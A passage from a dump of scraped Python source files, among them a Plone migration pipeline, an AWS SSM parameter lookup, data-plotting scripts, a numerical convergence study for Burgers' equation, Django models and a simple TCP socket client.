self.to_cleanup(href):\n return url\n\n obj = self.lookup_object(href)\n\n if not obj:\n return url\n\n return 'resolveuid/%s' % obj.UID()\n\n\nclass CleanupHtml(object):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def __init__(self, transmogrifier, name, options, previous):\n self.previous = previous\n\n def __iter__(self):\n for item in self.previous:\n\n if not self.cleanup(item.get('text', '')):\n item['text'] = ''\n\n yield item\n\n def cleanup(self, text):\n\n text = text.replace('\\r\\n', '')\n\n if not text:\n return text\n\n html = parser.fromstring(text)\n html = html.text_content()\n\n if isinstance(html, unicode):\n html = html.encode('utf-8')\n html = html.replace('\\xc2\\xa0', '')\n\n return html\n\n\nclass ModificationDateUpdater(object):\n classProvides(ISectionBlueprint)\n implements(ISection)\n\n def __init__(self, transmogrifier, name, options, previous):\n self.previous = previous\n self.context = transmogrifier.context\n self.logger = logging.getLogger(options['blueprint'])\n\n def __iter__(self):\n for item in self.previous:\n\n uid_tool = getToolByName(self.context, 'uid_catalog')\n\n brains = uid_tool(item)\n\n if not brains:\n yield item\n continue\n\n obj = brains[0].getObject()\n\n obj.setModificationDate(item.get('modification_date'))\n obj.reindexObject(idxs=['modified'])\n\n yield item\n","sub_path":"bern/migration/sections/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":15563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"438694758","text":"\"\"\"Retrieve a value from SSM Parameter Store.\n\nIf the Lookup is unable to find an SSM Parameter matching the provided query,\nthe default value is returned or ``ParameterNotFound`` is raised if a default\nvalue is not provided.\n\nParameters of type ``SecureString`` are automatically decrypted.\n\nParameters of type ``StringList`` are returned as a list.\n\n\n.. rubric:: Arguments\n\nThis Lookup supports all :ref:`Common Lookup Arguments`.\n\n\n.. Example\n.. code-block:: yaml\n\n deployment:\n - modules:\n - path: sampleapp.cfn\n parameters:\n secret_value: ${ssm /example/secret}\n conf_file: ${ssm /example/config/json::load=json, get=value}\n toggle: ${ssm toggle::load=yaml, get=val, transform=bool}\n env_vars:\n SOME_VARIABLE: ${ssm /example/param::region=us-east-1}\n DEFAULT_VARIABLE: ${ssm /example/default::default=default}\n\n\"\"\"\n# pylint: disable=arguments-differ\nimport logging\nfrom typing import TYPE_CHECKING, Any, Union # pylint: disable=unused-import\n\n# using absolute for runway imports so stacker shim doesn't break when used from CFNgin\nfrom runway.lookups.handlers.base import LookupHandler\n\n# python2 supported pylint sees this is cyclic even though its only for type checking\n# pylint: disable=cyclic-import\nif TYPE_CHECKING:\n from runway.context import Context as RunwayContext # noqa: F401 pylint: disable=W\n from runway.cfngin.context import Context as CFNginContext # noqa: F401 pylint: disable=W\n\nLOGGER = logging.getLogger(__name__)\nTYPE_NAME = 'ssm'\n\n\nclass SsmLookup(LookupHandler):\n \"\"\"SSM Parameter Store Lookup.\"\"\"\n\n @classmethod\n def handle(cls, value, context, **_):\n # type: (str, Union['CFNginContext', 'RunwayContext'], Any) -> Any\n \"\"\"Retrieve a value from SSM Parameter Store.\n\n Args:\n value: The value passed to the Lookup.\n context: The current context object.\n\n Raises:\n ParameterNotFound: Parameter not found in SSM and a default value\n was not provided.\n\n \"\"\"\n query, args = cls.parse(value)\n\n session = context.get_session(region=args.get('region'))\n client = session.client('ssm')\n\n try:\n response = client.get_parameter(\n Name=query,\n WithDecryption=True\n )['Parameter']\n return cls.format_results(response['Value'].split(',')\n if response['Type'] == 'StringList'\n else response['Value'], **args)\n except client.exceptions.ParameterNotFound:\n if args.get('default'):\n args.pop('load', None) # don't load a default value\n return cls.format_results(args.pop('default'), **args)\n raise\n","sub_path":"runway/lookups/handlers/ssm.py","file_name":"ssm.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"433792911","text":"import math\n\n\ndef get_cells_intersecting(grid_size, x0, y0, x1, y1):\n lower = (int(math.floor(x0 / grid_size)), int(math.floor(y0 / grid_size)))\n upper = (int(math.ceil(x1 / grid_size)), int(math.ceil(y1 / grid_size)))\n\n cells = []\n\n for x in range(lower[0], upper[0] + 1):\n for y in range(lower[1], upper[1] + 1):\n cells.append((x, y))\n\n return cells\n","sub_path":"terrain/biomes/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"355106329","text":"import xlrd\nimport pandas as pd\nimport re\nimport matplotlib\nimport matplotlib.pyplot as plt\nmatplotlib.style.use('ggplot')\n\n\nplate1 = pd.read_excel('06222016_Staph_Array_Data.xlsx', sheetname='Plate1', header = 1)\ncol_names = (plate1.columns.values)\ntoxins = col_names[4:] #use header as the toxin names\n\n\nplate1['Sample ID'] = plate1 ['Sample ID'].str.strip()\n\nplate1['Patient ID'] = [re.findall('Standard|^\\d*', item)[0] for item in plate1['Sample ID']] \nplate1['Visit'] = [re.findall('V\\d|Standard', item)[0] for item in plate1['Sample ID']] \nplate1['Dilution'] = [re.findall('100*$', item)[0] for item in plate1['Sample ID']] \n\n#This function divide each unique patient by their unique visit, each visit plot toxin against dilution\ndef uniquepatientvisit(patient,toxin): \n for visit in patient['Visit'].unique():\n #print(patient[patient['Visit']==visit])\n data = patient[patient['Visit']==visit]\n plt.plot(data['Dilution'], data[toxin])\n \n#This function divide the data by each unique patient ID, call the previous uniquepatientvisit function and plot one graph for a toxin of each patient\ndef plottoxin(plate,toxin):\n for patient in plate['Patient ID'].unique():\n bypatient = plate[plate['Patient ID'] == patient]\n fig = plt.figure()\n uniquepatientvisit(bypatient,toxin)\n if (bypatient[toxin].isnull().sum().sum()) == 0:\n plt.legend(bypatient['Visit'],loc = 1)\n plt.xscale('log')\n plt.title('patient: '+patient+\" \"+ 'toxin: '+toxin)\n plt.show()\n \n else:\n print('Missing data for %s %s' %(patient,toxin))\n \n\n#loop through the toxins and plot each toxin using the plottoxin function\nprint('VERY IMPORTANT! THE OUTPUT IS NOT SAVED GRAPH BECAUSE I CANT FIGURE OUT THE BEST WAY TO CHANGE THE NAME OF THE TOXIN..SO WHILE RUNNING THIS CODE, THE OUPUT ARE TONES OF GRPH\\\nAS!!!!!!!')\n###### VERY IMPORTANT! THE OUTPUT IS NOT SAVED GRAPH BECAUSE I CANT FIGURE OUT THE BEST WAY TO CHANGE THE NAME OF THE TOXIN..SO WHILE RUNNING THIS CODE, THE OUPUT ARE TONES OF GRPHAS!!!!!!!\nfor toxin in toxins:\n plottoxin(plate1, toxin)\n","sub_path":"kat_plot.py","file_name":"kat_plot.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"153648547","text":"from django.db import models\n\n# Create your models here.\nclass EmployeeModel(models.Model):\n idno=models.IntegerField(primary_key=True)\n name=models.CharField(max_length=30)\n salart=models.FloatField()\n photo=models.ImageField(upload_to='emp_images')\n\n address=models.TextField()","sub_path":"project36_image_demo/app36/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"93353329","text":"import numpy as np\n\nclass StandardScaler:\n def __init__(self):\n self.mean_ = None\n self.scaler_ = None\n\n def fit(self, X):\n assert X.ndim == 2, 'the dimension of X must be 2.'\n\n self.mean_ = np.array(np.mean(X[:,i]) for i in range(X.shape[1]))\n self.scaler_ = np.array(np.std(X[:,i]) for i in range(X.shape[1]))\n\n def transform(self, X):\n assert X.ndim == 2, 'The dimension of X must be 2.'\n assert self.mean_ is not None and self.scaler_ is not None, 'must fit before transform.'\n assert X.shape[1] == len(self.mean_), 'the feature number of X must be equal to mean_ and std_ .'\n\n resX = np.empty(shape=X.shape, dtype=float)\n for col in range(X.shape[1]):\n resX[:,col] = (X[:,col] - self.mean_[col]) / self.scaler_[col]\n\n return resX","sub_path":"knn/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"537674066","text":"# Evolve the diffusion equation in time with Dirchlet BCs\n\n# Load modules\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Domain size\nXF = 1\n\n# Viscosity\nnu = 0.04\n\n# Convective Differentiation function, approximates du/dx\ndef convective_dudt(un, dx, strategy='4c'):\n duconv = np.zeros(un.size, dtype=np.float128)\n if strategy=='2c': \n duconv[1:-1] = -1 * un[1:-1] * (un[2:] - un[:-2]) / (2 * dx)\n elif strategy == '4c':\n #duconv[1] = -1 * un[1] * (-10 * un[0] - 77 * un[1] + 150 * un[2] - 100 * un[3] + 50 * un[4] -15 * un[5] + 2 * un[6]) / 60 / dx\n #duconv[-2] = -1 * un[-2] * (10 * un[-1] + 77 * un[-2] - 150 * un[-3] + 100 * un[-4] - 50 * un[-5] + 15 * un[-6] - 2 * un[6]) / 60 / dx\n duconv[1] = -1 * un[1] * (un[2] - un[0]) / (2 * dx)\n duconv[-2] = -1 * un[-2] * (un[-1] - un[-3]) / (2 * dx) \n duconv[2:-2] = -1 * un[2:-2] * (-1 * un[4:] + 8 * un[3:-1] - 8 * un[1:-3] + un[:-4]) / ( 12 * dx)\n return duconv\n\n# Diffustive Differentiation function, approximates nu d^2 u /dx^2\ndef diffusive_dudt(un, nu, dx, strategy='5c'):\n dundiff = np.zeros(un.size, dtype=np.float128)\n\n # O(h^2)\n if strategy == '3c':\n dundiff[1:-1] = nu * (un[2:] - 2 * un[1:-1] + un[:-2]) / dx**2\n\n # O(h^4)\n elif strategy == '5c':\n # http://web.media.mit.edu/~crtaylor/calculator.html\n #dundiff[1] = nu * (137 * un[0] - 147 * un[1] - 255 * un[2] + 470 * un[3] - 285 * un[4] + 93 * un[5] - 13 * un[6]) / 180 / dx**2\n #dundiff[-2] = nu * (137 * un[-1] - 147 * un[-2] - 255 * un[-3] + 470 * un[-4] - 285 * un[-5] + 93 * un[-6] - 13 * un[-7]) / (180 * dx**2)\n\n # second order\n dundiff[1] = nu * (un[0] - 2 * un[1] + un[2]) / dx ** 2\n dundiff[-2] = nu * ( un[-1] - 2 * un[-2] + un[-3]) / dx ** 2\n dundiff[2:-2] = nu * (-1 * un[4:] + 16 * un[3:-1] - 30 * un[2:-2] + 16 * un[1:-3] - un[:-4]) / (12 * dx**2 )\n else: raise(IOError(\"Invalid diffusive strategy\")) ; quit()\n return dundiff\n\n# Velocity Evolution Function. Accepts initial and boundary conditions, returns time evolution history.\ndef geturec(x, nu=.05, evolution_time=1, u0=None, n_save_t=50, ubl=0., ubr=0., diffstrategy='5c', convstrategy='4c', dt=None, returndt=False):\n\n dx = x[1] - x[0]\n\n # Prescribde cfl=0.05 and ftcs=0.02\n if dt is not None: pass\n else: dt = min(.05 * dx / 1., .02 / nu * dx ** 2)\n if returndt: return dt\n\n # Determine the interval, \"divider\", to record time with\n nt = int(evolution_time / dt)\n divider = int(nt / float(n_save_t))\n if divider ==0: raise(IOError(\"not enough time steps to save %i times\"%n_save_t))\n\n # The default initial condition is a half sine wave.\n u_initial = ubl + np.sin(x * np.pi)\n if u0 is not None: u_initial = u0\n u = u_initial\n u[0] = ubl\n u[-1] = ubr\n\n # insert ghost cells; extra cells on the left and right\n # for the edge cases of the finite difference scheme\n #x = np.insert(x, 0, x[0]-dx)\n #x = np.insert(x, -1, x[-1]+dx)\n #u = np.insert(u, 0, ubl)\n #u = np.insert(u, -1, ubr)\n\n # u_record holds all the snapshots. They are evenly spaced in time,\n # except the final and initial states\n u_record = np.zeros((x.size, int(nt / divider + 2)))\n\n # Evolve through time\n ii = 1\n u_record[:, 0] = u\n for _ in range(nt):\n un = u.copy()\n dudt = diffusive_dudt(un, nu, dx, strategy=diffstrategy) + convective_dudt(un, dx, strategy=convstrategy)\n\n # forward euler time step\n u = un + dt * dudt\n\n # RK 4 time step\n #uhalfn = un + dt * dudt / 2.\n #duhalfn_dt1 = diffusive_dudt(uhalfn, nu, dx, strategy=diffstrategy)\n #uhalfk2 = un + duhalfn_dt1 * dt / 2\n #duhalfk2_dt = diffusive_dudt(uhalfk2, nu, dx, strategy=diffstrategy)\n #ufull = un + duhalfk2_dt * dt\n #dufull_dt = diffusive_dudt(ufull, nu, dx, strategy=diffstrategy)\n #u = un + (dt / 6.) * (dudt + 2 * duhalfn_dt1 + 2 * duhalfk2_dt + dufull_dt)\n\n # Save every mth time step\n if _ % divider == 0:\n u_record[:, ii] = u.copy()\n ii += 1\n u_record[:, -1] = u\n return u_record\n #return u_record[1:-1, :]\n\n# Now sweep through dxs to find convergence rate\n\n# Define dxs to sweep\nnsweep = 12\nxrang = [3]\nfor ii in range(1, nsweep):\n xrang.append(xrang[-1] + 2 ** ii)\nxrang = xrang[4:]\nxrang.reverse()\nprint (xrang)\n\n# this function accepts a differentiation key name and returns a list of dx and L-1 points\n# the keynames are '3c' for 3 point centered differentiation and '5c' for 5 point centered differentiation\ndef errf(diffstrategy, convstrategy):\n\n # Lists to record dx and L-1 points\n ypoints = []\n dxs= []\n\n # Establish truth value with a more-resolved grid\n print('establishing truth with ', xrang[0] + 2 ** (nsweep))\n x = np.linspace(0, XF, xrang[0] + 2 ** (nsweep)) ; dx = x[1] - x[0]\n\n # Record truth L-1 and dt associated with finest \"truth\" grid\n trueu = geturec(nu=nu, x=x, diffstrategy=diffstrategy, convstrategy=convstrategy, evolution_time=.02, n_save_t=20, ubl=0, ubr=0)\n truedt = geturec(nu=nu, x=x, diffstrategy=diffstrategy, convstrategy=convstrategy, evolution_time=.02, n_save_t=20, ubl=0, ubr=0, returndt=True)\n #trueqoi = ul1(trueu[:, -1], dx)\n us = [trueu[:, -1]]\n\n # Sweep dxs\n for ii in range(len(xrang)):\n nx = xrang[ii]\n x = np.linspace(0, XF, nx) ; dx = x[1] - x[0]\n dxs.append(dx)\n\n # Run solver, hold dt fixed\n u = geturec(nu=nu, x=x, diffstrategy=diffstrategy, convstrategy=convstrategy, evolution_time=.02, n_save_t=20, ubl=0, ubr=0, dt=truedt)\n #if ii == 0: plt.plot(u) ; plt.show()\n us.append(u[:, -1])\n\n # record |L-1(dx) - L-1(truth)|\n print (ii, u[:, -1].size, trueu[:, -1].size, trueu[1 :: 2 ** (ii+1), -1].size)\n print(u[:, -1])\n print('----')\n print(u[:, -1] - trueu[0 :: 2 * 2 ** (ii), -1])\n print('====')\n qoi = np.sqrt(np.sum((u[:, -1] - trueu[0 :: 2 * 2 ** (ii), -1]) ** 2) / nx)\n #qoi = ul1(u[:, -1], dx)\n ypoints.append(qoi)\n #ypoints.append(np.abs(trueqoi - qoi))\n\n return dxs, ypoints, us\n\n# Plot results. The fourth order method should have a slope of 4 on the log-log plot.\nfrom scipy.optimize import minimize as mini\nstrategy = 4\nif strategy == 2:\n diffstrat = '3c'\n convstrat = '2c'\nelif strategy == 4:\n diffstrat = '5c'\n convstrat = '4c'\nelse: raise(Exception(\"Error\"))\ndxs, ypoints, us = errf(diffstrat, convstrat)\ndef fit2(a): return 1000 * np.sum((a * np.array(dxs) ** 2 - ypoints) ** 2)\ndef fit3(a): return 1000 * np.sum((np.exp(a) * np.array(dxs) ** 3 - ypoints) ** 2)\ndef fit4(a): return 100000000 * np.sum((np.exp(a) * np.array(dxs[0]) ** 4 - ypoints[0]) ** 2)\namin = 99\nfor ii in [1e-4, 1e-3, 1e-1, 1, 1e1, 1e2, 1e3, 1e4]:\n a = mini(fit2, ii)\n if a.fun < amin:\n amin = a.fun\n if a.x > 0: ax = a.x\nbmin = 99\nfor ii in [-8, -7, -6, -5, -4, -3, -2, -1, 0, 1, 2 ,3 ,4, 6, 8, 9, 11, 13]:\n b = mini(fit3, ii)\n if b.fun < bmin:\n bmin = b.fun\n bx = b.x\ncmin = 99\nfor ii in [-4, -3, -2, -1, 0, 1, 2, 3 ,4, 6, 8, 9, 11, 13]:\n c = mini(fit4, ii)\n if c.fun < cmin:\n cmin = c.fun\n cx = c.x\nplt.plot(dxs, ax * np.array(dxs)**2, c='k', label=r\"$\\nu^2$\", ls='--')\nplt.plot(dxs, np.exp(bx) * np.array(dxs)**3, c='k', label=r\"$\\nu^3$\", ls='-.')\nplt.plot(dxs, np.exp(cx) * np.array(dxs)**4, c='k', label=r\"$\\nu^4$\")\nplt.plot(dxs, ypoints, label=r\"Convergence\", marker='x')\nplt.yscale('log')\nplt.xscale('log')\nplt.xlabel(r\"$\\Delta X$\")\nplt.ylabel(\"$|L-L_{true}|$\")\nplt.title(r\"$\\nu=%f, strategy=%s$\"%(nu, strategy))\nplt.legend()\nplt.savefig('%s.pdf'%strategy, bbox_inches='tight')\n","sub_path":"burgers/working/justdoit.py","file_name":"justdoit.py","file_ext":"py","file_size_in_byte":7689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"467720350","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 1 20:20:47 2019\r\n\r\n@author: Osman Ali Yardım\r\n\r\nUniversity World Ranking with Plotly: Histogram\r\n\"\"\"\r\n\r\nimport pandas as pd\r\n\r\n# Plotly library usage in Spyder\r\nfrom plotly.offline import plot\r\nimport plotly.graph_objs as go\r\n\r\n# Read data\r\ntimesData = pd.read_csv('timesData.csv')\r\n\r\n# Discover data\r\nprint(timesData.head())\r\ntimesData.info()\r\n\r\n# Student-Staff Ratio in 2011 and 2012\r\ndf2011 = timesData.student_staff_ratio[timesData.year == 2011]\r\ndf2012 = timesData.student_staff_ratio[timesData.year == 2012]\r\n\r\ntrace1 = go.Histogram(x=df2011,opacity=0.75,name=\"2011\",marker=dict(color='rgba(171,50,96,0.6)'))\r\ntrace2 = go.Histogram(x=df2012,opacity=0.75,name=\"2012\",marker=dict(color='rgba(12,50,196,0.6)')) \r\n\r\ndata = [trace1, trace2]\r\nlayout = go.Layout(barmode='overlay', title='Student-Staff Ratio in 2011 and 2012',\r\n xaxis=dict(title='Student-Staff Ratio'), yaxis=dict(title='Count'))\r\n\r\nfig = go.Figure(data=data, layout=layout)\r\nplot(fig)","sub_path":"UniversityWorldRankingWithHISTOGRAM.py","file_name":"UniversityWorldRankingWithHISTOGRAM.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"267844514","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\noff_listing_RAW_spirou.py [night_directory]\n\nRecipe to display raw frame + cut across orders + statistics\n\nCreated on 2016-06-12\n\n@author: fbouchy\n\nLast modified: 2016-06-15\n\"\"\"\nfrom __future__ import division\nimport numpy as np\nimport os\nfrom collections import OrderedDict\n\nfrom SpirouDRS import spirouConfig\nfrom SpirouDRS import spirouCore\nfrom SpirouDRS import spirouImage\nfrom SpirouDRS import spirouStartup\n\n# =============================================================================\n# Define variables\n# =============================================================================\n# Name of program\n__NAME__ = 'off_listing_RAW_spirou.py'\n# Get version and author\n__version__ = spirouConfig.Constants.VERSION()\n__author__ = spirouConfig.Constants.AUTHORS()\n__date__ = spirouConfig.Constants.LATEST_EDIT()\n__release__ = spirouConfig.Constants.RELEASE()\n__args__ = ['night_name']\n__required__ = [True]\n# Get Logging function\nWLOG = spirouCore.wlog\n# Get param dictionary\nParamDict = spirouConfig.ParamDict\n\n\n# =============================================================================\n# Define functions\n# =============================================================================\ndef main(night_name=None):\n # ----------------------------------------------------------------------\n # Set up\n # ----------------------------------------------------------------------\n # get parameters from config files/run time args/load paths + calibdb\n p = spirouStartup.Begin(recipe=__NAME__)\n p = spirouStartup.LoadArguments(p, night_name)\n\n # check that we have a night_name\n if p['ARG_NIGHT_NAME'] == '':\n # get available night_names\n nightnames = spirouStartup.GetNightDirs(p)\n\n emsgs = ['Must define night name. Input should be:',\n '\\t >> {0} [NIGHT_NAME] '.format(__NAME__),\n 'Some available NIGHT_NAMES are as follows:']\n # loop around night names and add to message\n for nightname in nightnames:\n emsgs.append('\\t {0}'.format(nightname))\n # log message\n WLOG(p, 'error', emsgs)\n\n # ----------------------------------------------------------------------\n # Check if we have an index file\n # ----------------------------------------------------------------------\n # get expected index file name and location\n index_file = spirouConfig.Constants.INDEX_OUTPUT_FILENAME()\n path = p['ARG_FILE_DIR']\n index_path = os.path.join(path, index_file)\n # get expected columns\n columns = spirouConfig.Constants.RAW_OUTPUT_COLUMNS(p)\n # create storage\n loc = OrderedDict()\n # if file exists then we have some indexed files\n if os.path.exists(index_path):\n rawloc = spirouImage.ReadFitsTable(p, index_path)\n loc['FILENAME'] = list(rawloc['FILENAME'])\n loc['LAST_MODIFIED'] = list(rawloc['LAST_MODIFIED'])\n for col in columns:\n loc[col] = list(rawloc[col])\n # else we have to create this file\n else:\n loc['FILENAME'] = []\n loc['LAST_MODIFIED'] = []\n # loop around columns and add blank list to each\n for col in columns:\n loc[col] = []\n\n # ----------------------------------------------------------------------\n # Get all files in raw night_name directory\n # ----------------------------------------------------------------------\n # get all files in DRS_DATA_RAW/ARG_NIGHT_NAME\n files = os.listdir(p['ARG_FILE_DIR'])\n # sort file by name\n files = np.sort(files)\n\n # ----------------------------------------------------------------------\n # Loop around all files and extract required header keys\n # ----------------------------------------------------------------------\n # log progress\n WLOG(p, '', 'Analysing {0} files'.format(len(files)))\n # loop around files and extract properties\n for filename in files:\n # skip any non-fits file files\n if '.fits' not in filename:\n continue\n # skip the index file\n if filename == os.path.basename(index_file):\n continue\n # skip non-preprocessed files\n if p['PROCESSED_SUFFIX'] not in filename:\n continue\n # if already in loc['FILENAME'] then skip\n if filename in loc['FILENAME']:\n continue\n # construct absolute path for file\n fitsfilename = os.path.join(p['ARG_FILE_DIR'], filename)\n # read file header\n hdr = spirouImage.ReadHeader(p, filepath=fitsfilename)\n # add filename\n loc['FILENAME'].append(filename)\n loc['LAST_MODIFIED'].append(os.path.getmtime(fitsfilename))\n # loop around columns and look for key in header\n for col in columns:\n # get value from header\n if col in hdr:\n value = str(hdr[col])\n else:\n value = '--'\n # push into loc\n loc[col].append(value)\n\n # Make sure we have some files\n if len(loc['FILENAME']) == 0:\n wmsg = 'No pre-processed (*{0}) files present.'\n WLOG(p, 'warning', wmsg.format(p['PROCESSED_SUFFIX']))\n\n # ----------------------------------------------------------------------\n # archive to table\n # ----------------------------------------------------------------------\n if len(loc['FILENAME']) != 0:\n # construct table filename\n outfile = spirouConfig.Constants.OFF_LISTING_RAW_FILE(p)\n # log progress\n WLOG(p, '', 'Creating ascii file for listing.')\n # get column names\n colnames = ['FILENAME', 'LAST_MODIFIED'] + list(columns)\n # define the format for each column\n formats = [None] * len(colnames)\n # get the values for each column\n values = []\n for col in colnames:\n values.append(loc[col])\n # construct astropy table from column names, values and formats\n table = spirouImage.MakeTable(p, colnames, values, formats)\n # save table to file\n spirouImage.WriteTable(p, table, outfile, fmt='ascii.rst')\n\n # log saving of file\n wmsg = 'Listing of directory on file {0}'\n WLOG(p, '', wmsg.format(outfile))\n\n # print out to screen\n WLOG(p, '', '')\n WLOG(p, '', 'Listing table:')\n WLOG(p, '', '')\n spirouImage.PrintTable(p, table)\n\n # ----------------------------------------------------------------------\n # Update Index\n # ----------------------------------------------------------------------\n spirouStartup.SortSaveOutputs(p, loc, index_path)\n\n # ----------------------------------------------------------------------\n # End Message\n # ----------------------------------------------------------------------\n p = spirouStartup.End(p, outputs=None)\n # return a copy of locally defined variables in the memory\n return dict(locals())\n\n\n# =============================================================================\n# Start of code\n# =============================================================================\nif __name__ == \"__main__\":\n # run main with no arguments (get from command line - sys.argv)\n ll = main()\n # exit message if in debug mode\n spirouStartup.Exit(ll, has_plots=False)\n\n# =============================================================================\n# End of code\n# =============================================================================\n\n\n\n","sub_path":"old_code/INTROOT/bin/off_listing_RAW_spirou.py","file_name":"off_listing_RAW_spirou.py","file_ext":"py","file_size_in_byte":7455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"90626795","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n'''\r\nclass coordinate:\r\n def __init__(self,x=0.0,y=0.0):\r\n self.x=x\r\n self.y=y\r\na=coordinate()\r\n'''\r\ndef geodata(num_people,method=\"uniform\",xbound=100.0,ybound=100.0,history=False):\r\n \"\"\"\r\n Generator a n*2 array, which is the x-coordinate and y-coordinate\r\n in each row,for n people\r\n The method equal to uniform means each point in 2-D surface is uniform\r\n distributed\r\n The method equal to cluster means points x01,x02,...x0m,are normally distributed\r\n around a point x0, x0 is uniform in this surface\r\n \"\"\"\r\n \r\n \r\n\r\n if method==\"uniform\":\r\n if history==True:\r\n try:\r\n population=np.loadtxt(\"geo_uniform.txt\")\r\n return population\r\n except FileNotFoundError:\r\n print(\"no file found, auto create new file\")\r\n population=np.zeros((num_people,2))\r\n population[:,0]=np.random.uniform(0,xbound,num_people)\r\n population[:,1]=np.random.uniform(0,ybound,num_people)\r\n #print(population)\r\n #plt.scatter(population[:,0],population[:,1])\r\n #plt.show()\r\n np.savetxt(\"geo_uniform.txt\",population)\r\n return population\r\n if method==\"cluster\":\r\n if history==True:\r\n try:\r\n population=np.loadtxt(\"geo_cluster.txt\")\r\n return population\r\n except FileNotFoundError:\r\n print(\"no file found, auto create new file\")\r\n population=np.zeros((num_people,2))\r\n \r\n num_cluster=int(np.random.uniform(0.1,1)*10+1)\r\n # the number of cluster follow uniform 1,2,...10\r\n # problem: how to scientifically define the number of cluster?\r\n people_set=cluster_people(num_people,num_cluster)\r\n center_point=np.zeros((num_cluster,2))\r\n center_point[:,0]=np.random.uniform(0,xbound,num_cluster)\r\n center_point[:,1]=np.random.uniform(0,ybound,num_cluster)\r\n ######################################################\r\n iter=0\r\n cout=0\r\n for i in people_set: \r\n for j in range(i):\r\n population[iter,:]=np.random.multivariate_normal(center_point[cout,:],25*np.identity(2))\r\n #problem: how to detemine the covariance matrix?\r\n #btw: 25 is only pick randomly.1 is too small in graph\r\n iter+=1\r\n cout+=1\r\n ######################################################\r\n #plt.scatter(population[0,0],population[0,1],cmap=3)\r\n #plt.scatter(population[1:num_people-1,0],population[1:num_people-1,1])\r\n #plt.show()\r\n #maybe I should put the show section into one part(rather than in each if)\r\n np.savetxt(\"geo_cluster.txt\",population)\r\n return population \r\ndef cluster_people(num_people,num_cluster):\r\n '''\r\n The following code is try to split the number of poeple into num_cluster\r\n sets, which means n1 people in cluster1, n2 people in cluster2,..., and\r\n n1+n2+...+n3=num_people\r\n This function return an array which is num_people*1, each element is the\r\n number of people in each cluster\r\n '''\r\n if num_cluster==1:\r\n return num_people\r\n first=int (np.random.uniform(1,num_people-num_cluster))\r\n return np.hstack((first,cluster_people(num_people-first,num_cluster-1)))\r\n''' Following is Test code\r\npopulation=geodata(100,\"uniform\",100,100)\r\nbeta=0.3\r\n\r\nfor i in range(100):\r\n distance1=np.linalg.norm(population[1,:]-population[i,:])\r\n print(\"distance is\")\r\n print(distance1)\r\n print(\"probability is\")\r\n print(beta*np.exp(-(distance1)/20))\r\n'''\r\n#population=geodata(100,\"cluster\",100,100,True)\r\n#print(population)\r\n\r\n\r\n\r\n\r\n","sub_path":"coordinate.py","file_name":"coordinate.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"587335156","text":"from django.contrib import admin\nfrom .models import Withdraw\nfrom account.models import Account, Launch\n# Register your models here.\n@admin.register(Withdraw)\nclass WithdrawAdmin(admin.ModelAdmin):\n list_display = ('account', 'value_in_cents', 'month_at', 'year_at')\n\n def save_model(self, request, obj, form, change):\n account = Account.objects.filter(id=obj.account_id).first()\n last_launch = Launch.objects.filter(account=account).order_by('created_at').last()\n launch = Launch(account=account, value_in_cents=( last_launch.value_in_cents - obj.value_in_cents ))\n launch.save()\n obj.save()","sub_path":"withdraw/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"144207177","text":"from socket import *\n\n# 创建套接字\nsockfd = socket()\n\n# 发起连接\nserver_addr = (\"127.0.0.1\",8888)\nsockfd.connect(server_addr)\n\n# 发收消息\nwhile True:\n data = input(\"需要发送的信息为:\")\n if data == \"\":\n sockfd.send(\"连接结束\".encode())\n print(\"连接结束\")\n sockfd.close()\n break\n else:\n sockfd.send(data.encode())\n print(\"已发送\")\n data = sockfd.recv(1024)\n print(\"接收消息为:\",data.decode())\n#关闭客户端\n","sub_path":"_3.Webprogramming/Pbase/_1.socket&http/_2.tcp_client.py","file_name":"_2.tcp_client.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"290653701","text":"def check_duplicate_username(line, filename, options):\n warnings = []\n if 'duplicate_username' in line:\n warnings.append(\"UserCreationForm.errors_messages['duplicate_username'] is no longer used. If you wish to customize that error message, override it on the form using the 'unique' key in Meta.errors_messages['username'] or, if you have a custom form field for 'username', using the the 'unique' key in its error_messages argument.\")\n return warnings, [], []\n\n\ndef check_app_name(line, filename, options):\n warnings = []\n if 'app_name=' in line:\n warnings.append('AdminSite no longer takes an app_name argument and its app_name attribute has been removed. The application name is always admin (as opposed to the instance name which you can still customize using AdminSite(name=\"...\").')\n return warnings, [], []\n\n\ndef check_cache_class(line, filename, options):\n errors = []\n if 'CacheClass' in line:\n errors.append(\"The CacheClass shim has been removed from all cache backends. These aliases were provided for backwards compatibility with Django 1.3. If you are still using them, please update your project to use the real class name found in the BACKEND key of the CACHES setting.\")\n return [], errors, []\n\n\ndef check_complie_string(line, filename, options):\n errors = []\n if 'compile_string' 